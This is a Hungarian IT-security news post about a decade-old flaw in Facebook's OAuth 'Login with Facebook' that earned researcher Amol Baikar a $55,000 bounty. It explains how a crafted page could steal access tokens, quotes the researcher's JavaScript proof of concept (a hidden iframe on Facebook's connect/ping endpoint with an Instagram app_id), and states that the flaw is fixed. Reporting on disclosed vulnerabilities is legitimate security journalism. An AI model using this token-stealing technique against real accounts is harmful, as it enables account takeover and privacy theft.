Skip to content

Hydroxy.hu

Hírek, cikkek, vélemények az informatika világából

  • Kezdőlap
  • Hírszemle
  • Cikkek
  • Játékfejlesztés
  • Gondolatok
  • Pszichológia
  • Ház és kert
  • Nem úgy van az!

Tíz éve a Facebook bejelentkezésben lévő hiba 55,000 dolláros jutalmat ért

2020.03.12. Kovács Nándor IT Security
Ha tetszett, oszd meg ismerőseiddel!

Amol Baikar indiai kiberbiztonsági szakértő fedezett fel tavaly decemberben egy, a “Bejelentkezés Facebook-kal” funkcióban, több mint 10 éve rejlő hibát a bug bounty program keretén belül, ami számára az eddigi legnagyobb kifizetett összeget jelentette: 55,000 dollár ütötte markát a hiba felfedezéséért.

Facebook OAuth Vulnerability.
$55,000 Bounty Awarded by Facebook.

Writeup:https://t.co/MpVgyUSQqQ#Facebook #Security #BugBounty

— Amol Baikar (@AmolBaikar) March 1, 2020

A “Bejelentkezés Facebook-kal” hiba kihasználása esetén a támadó egy megfelelően előkészített weboldal segítségével ellophatta az ACCESS_TOKEN-t, és teljesen átvehette az áldozat Facebook profilja felett az uralmat.

Az OAuth 2.0 technológia lehetővé teszi, hogy az ACCES_TOKEN segítségével információ cserélődjön a Facebook és harmadik félhez tartozó weboldalak között. Jó ideje ezt használja már a Facebook, de más szolgáltatások is.

A sebezhetőség kihasználásával nem csak a Facebook profil felett volt átvehető az irányítás, de olyan nagy szolgáltatások is érintettek, mint az Instagram, a Netflix, a Tinder, a Spotify, az Oculus.

Ha a támadó sikeresen megszerezte az access token-t, onnantól kezdve szabadon posztolhatott az áldozat üzenőfalára, írhatott üzenetet a nevében, hozzáférhetett a képekhez, videókhoz.

Hogyan történt a támadás?

Két feltétel kellett a támadás végrehajtásához:

  1. Kihagyni az X-Frame-Options beállítást a headerből
  2. Egy extra window.parent hozzáadásával a felhasználónak nem kellett semmit se tennie az oldalon, csupán elég volt azt megnyitnia

Ennek köszönhetően az elsődleges access token kiszivároghatott az áldozat tudta nélkül is.

var app_id = '124024574287414',
app_domain = 'www.instagram.com';

var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;

var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);

window.addEventListener('OAuth', function(FB) {
  alert(FB.data.name);
}, !1);
https://www.youtube.com/watch?v=-2__22lnFhg&feature=emb_title

A hibát a Facebook már javította, de mivel több, mint tíz éve jelen volt a rendszerben így nincs kizárva, hogy támadók esetleg kihasználták a sebezhetőséget. Mindenesetre azt javasolják, hogy aki biztosra szeretne menni, az változtasson jelszót az érintett szolgáltatásokon, és jelentkezzen ki az összes eszközről.

Forrás


Ha tetszett, oszd meg ismerőseiddel!

Ezek a bejegyzések is érdekelhetnek

  1. Két egyetemista a MOSÓGÉPEKBEN talált biztonsági rést
  2. A Microsoft Edge tálcán kínálja az összes jelszavadat
  3. A biztonsági hibák hajszolása őrületbe kergeti a nyílt forráskódú projektek fejlesztőit
  4. Állami hackerek támadták meg a Notepad++ frissítési rendszerét – hónapokig észrevétlen maradt a supply chain kompromittálás
biztonságbountybugfacebookkiberbiztonságloginsebezhetőségvulnerability

Bejegyzés navigáció

Previous Post:Szinte az összes APACHE TOMCAT verzió érintett az új sebezhetőségben – GHOSTCAT
Next Post:Sütitolvaj Android kártevőn keresztül vehetik át az uralmat a Facebook profilunk felett

Kiemelt linkek

RandomGenerátor Podcast Podcast technológiáról, hétköznapokról, AI-ról és azokról a dolgokról, amelyek valamiért mindig beszédtémává válnak. Könnyed beszélgetések, érdekes témák és egy kis hülyeség is. Chords365 Magyar fejlesztésű, digitális kotta- és akkordkezelő zenei csapatoknak, a próbától egészen a színpadig. Dalok, setlistek, közös munka, vetítés és színpadi nézet egyetlen böngészőből elérhető felületen. Villamosbalesetek Miskolcon Miskolc villamosközlekedésének baleseteit és érdekesebb eseményeit gyűjti össze egy helyen. Fotók, történetek és információk a város villamosainak kevésbé szerencsés pillanatairól. Liopold Macskaélet Miskolci állatvédő alapítvány, amely elsősorban bajba került, mentett és gazdátlan cicákon segít. A munkájukhoz örökbefogadással, adománnyal vagy önkéntesként is lehet hozzájárulni. JólTáplált.hu Kisállateledelek összetételét és tápértékét segít összehasonlítani, hogy könnyebb legyen eligazodni a rengeteg különböző termék között. Macskák és kutyák gazdáinak készült, akik szeretnének tudatosabban választani.

Kiemelt bejegyzések

Az AI tényleg gyorsítja a fejlesztést vagy csak illúzió?
Gondolatok

Az AI tényleg gyorsítja a fejlesztést vagy csak illúzió?

2026.10.03.
Mivé lesz a kód, ha már nem mi írjuk?
Gondolatok

Mivé lesz a kód, ha már nem mi írjuk?

2026.10.03.
Érdemes még jó kódot írni, ha már az AI írja helyettünk?
Gondolatok

Érdemes még jó kódot írni, ha már az AI írja helyettünk?

2026.10.03.
Miért nem termék az, amit az AI tíz perc alatt összedob?
Gondolatok

Miért nem termék az, amit az AI tíz perc alatt összedob?

2026.06.18.
Hogyan ne legyél libapásztor? – Programozói karrierbiztosítás az AI korszakában
Cikkek Gondolatok

Hogyan ne legyél libapásztor? – Programozói karrierbiztosítás az AI korszakában

2025.06.01.
Hogyan érts meg gyorsan bármilyen kódbázist?
Cikkek

Hogyan érts meg gyorsan bármilyen kódbázist?

2025.06.01.
Hogyan legyél te is gonosz UI-tervező? – Sötét praktikák a felhasználók elijesztésére
Pszichológia

Hogyan legyél te is gonosz UI-tervező? – Sötét praktikák a felhasználók elijesztésére

2025.06.01.
Kognitív csapdák a szoftverfejlesztésben
Cikkek Pszichológia

Kognitív csapdák a szoftverfejlesztésben

2025.05.31.
SOLID elvek érthetően: 5 alapelv, amivel jobb fejlesztő lehetsz
Cikkek

SOLID elvek érthetően: 5 alapelv, amivel jobb fejlesztő lehetsz

2025.05.31.
Ezeket a tervezési mintákat minden fejlesztőnek ismernie kell
Cikkek

Ezeket a tervezési mintákat minden fejlesztőnek ismernie kell

2025.05.30.
WordPress Theme: Tortuga by ThemeZee.
🍪 A weboldal sütiket használ. Az oldal használatával automatikusan elfogadod ezeket. További részletek